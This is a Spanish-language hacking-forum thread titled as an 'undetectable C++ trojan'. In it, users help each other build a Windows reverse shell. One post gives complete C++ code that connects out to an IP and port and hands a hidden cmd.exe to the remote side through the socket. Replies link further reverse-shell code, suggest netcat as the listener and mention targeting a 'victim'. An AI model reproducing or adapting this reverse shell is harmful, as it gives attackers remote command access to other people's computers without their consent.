Troyano en C++ indetectable!!

Iniciado por Grillet0xEB, 18 Enero 2014, 15:25 PM

0 Miembros y 2 Visitantes están viendo este tema.

Vaagish

Sip,, me sirve.. Le estoy dando con todo (OllyDbg, depurando con VS, logica),, pero no estoy ni cerca jaja

Gracias!!

cpu2

Estaba leyendo la msdn y por lo que e visto tambien soporta dup2, en Windows es llamada _dup2.

http://msdn.microsoft.com/en-us/library/8syseb29.aspx

No hace falta que escriba una, recuerdo haber posteado una reverse shell en Bugs y Exploits pero para un sistema orientado a BSD, pero puedes guiarte, tiene algun tiempo podria hacer una mejor, pero esa ya te vale.

http://foro.elhacker.net/bugs_y_exploits/reverse_shell_unixlike-t380545.0.html

Un saludo.

Vaagish

Citarhttp://foro.elhacker.net/bugs_y_exploits/reverse_shell_unixlike-t380545.0.html
;-)

No entiendo un pomo a simple vista.. pero me va a servir! No sabia de _dup,, me ayudo a ver que no se copia el handle a la estructura STARTUPINFO

Bueno,, a ver como se resuelve esto.. luego actualizo  :P

Gracias cpu! Saludos!

Vaagish

@cpu2 probe con eso que me decías del handle,, pero me parece que no es eso,, o al menos los valores se copian.. investigue que en windows también existe la función DuplicateHandle (con la cual también probé, pero no me funciona aun)

Así esta todo el código.. si alguien quiere revisarlo,,  ;D

Código (cpp) [Seleccionar]

#include <WinSock2.h>
#pragma comment(lib,"ws2_32.lib")

#define PORT 8080
#define IP "127.0.0.1"
#define DEFAULT_BUFLEN 510
#include <iostream>
using namespace std;

// ESTRUCTURAS PARA SOCKET
WSADATA WSA; //--> ESTRUCTURA WSADATA;
SOCKET Socket; //--> VARIABLE DE TIPO SOCKET
SOCKADDR_IN SA_IN; //--> ESTRUCTURA SOCKADDR_IN
// ESTRUCTURAS PARA PROCESOS
STARTUPINFOA SI;
PROCESS_INFORMATION PI;
// ---------------------------------------------------

int main()
{
// SOCKET
WSAStartup(MAKEWORD(2, 2), &WSA);
Socket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);

SA_IN.sin_family   = AF_INET;
SA_IN.sin_port   = htons(PORT);
SA_IN.sin_addr.s_addr = inet_addr(IP);

connect(Socket, (struct sockaddr*)&SA_IN, sizeof(SA_IN));
//  ---------------------------------------------------------------

SI.cb   = sizeof(SI);
SI.wShowWindow   = SW_HIDE;
SI.dwFlags   = STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES;
SI.lpDesktop       = SI.lpTitle = 0x0000;
SI.lpReserved2   = NULL;

SI.hStdInput   = SI.hStdOutput = SI.hStdError = (HANDLE)Socket;


LPSTR szCmdline   = "cmd.exe";
CreateProcessA(NULL, szCmdline, NULL, NULL, TRUE, 0, NULL, NULL, &SI, &PI);

return 0;
}

cpu2

No estoy acostumbrado a la API de Win, pero por lo que veo todo parece estar bien.

Como puedes observar en mi codigo, conecto duplico los descriptores y ejecuto la consola. Que server estas usando? yo cuando probe mi reverse shell utilize netcat.

Un saludo.

Vaagish

AWWGGRR!! El problema es el server si.. con netcat funciona.. creo que existe el código de nc,, tendría que ver por que mi cliente no mantiene la conexión estable..

Gracias!! Saludos!!

cpu2

No el servidor, recuerda que es conexion inversa. Netcat es polifacetico puedes hacer mil cosas con el, hasta un server, por eso te dije.

E igualmente siempre puedes usar un Linux o un BSD, descargarte el source de netcat "nc" y modificarlo y crearte el propio server a partir de netcat jeje. Solo es una idea.

Un saludo.

burbu_1

#27
me suena un cliente para esa reverse shell (o muy parecida) en vb6..... pero el link no funciona

Citarhttp://foro.elhacker.net/programacion_visual_basic/reverse_shell-t304798.0.html

creía recordar que tenía ese code....pero no lo he encontrado..........

el mail del autor lo encuentras fijos y el code lo tiene algun mod fijo.......

si el problema lo tienes con el cliente en .net........

el debug que ofrece m$ es muy bueno....no.....noooo?

iUDEX

Muy bueno,
lo jodido es no poder saber la IP de la victima,

¡Gracias por la info bro!
Namasté, criatura.

hackisbuild

Gracias por compartir los códigos me sirvieron de mucha ayuda, debido a que soy un Newie en esto.